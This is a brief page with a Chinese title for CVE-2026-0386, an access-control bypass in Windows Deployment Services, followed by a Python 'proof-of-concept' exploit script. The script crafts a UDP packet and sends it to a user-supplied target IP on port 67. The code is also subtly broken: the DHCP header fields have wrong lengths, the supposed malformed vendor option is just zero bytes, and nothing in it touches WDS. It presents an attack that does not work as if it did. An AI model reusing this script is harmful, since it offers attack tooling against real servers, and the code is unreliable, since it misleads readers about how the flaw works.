CVE-2026-0386 Windows部署服务访问控制不当漏洞

# CVE-2026-0386 PoC - Windows Deployment Services Access Control Bypass # Note: This is a conceptual proof-of-concept for educational purposes only # Do not use without proper authorization import socket import struct import sys def create_wds_request(): """Create a malformed WDS request packet""" # DHCP/WDS packet structure packet = b'\x01' # Message type packet += b'\x02' # Operation packet += b'\x00' * 4 # Hops packet += b'\x00' * 4 # Transaction ID packet += b'\x00' * 2 # Seconds elapsed packet += b'\x00' * 2 # Flags packet += b'\x00' * 4 # Client IP packet += b'\x00' * 4 # Your IP packet += b'\x00' * 4 # Server IP packet += b'\x00' * 4 # Relay IP # Add vendor-specific options option_43 = b'\x00' * 100 # Malformed vendor class packet += option_43 return packet def send_exploit(target_ip, port=67): """Send exploit packet to target WDS server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) payload = create_wds_request() sock.sendto(payload, (target_ip, port)) print(f"[*] Exploit packet sent to {target_ip}:{port}") print(f"[*] Packet size: {len(payload)} bytes") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-0386.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)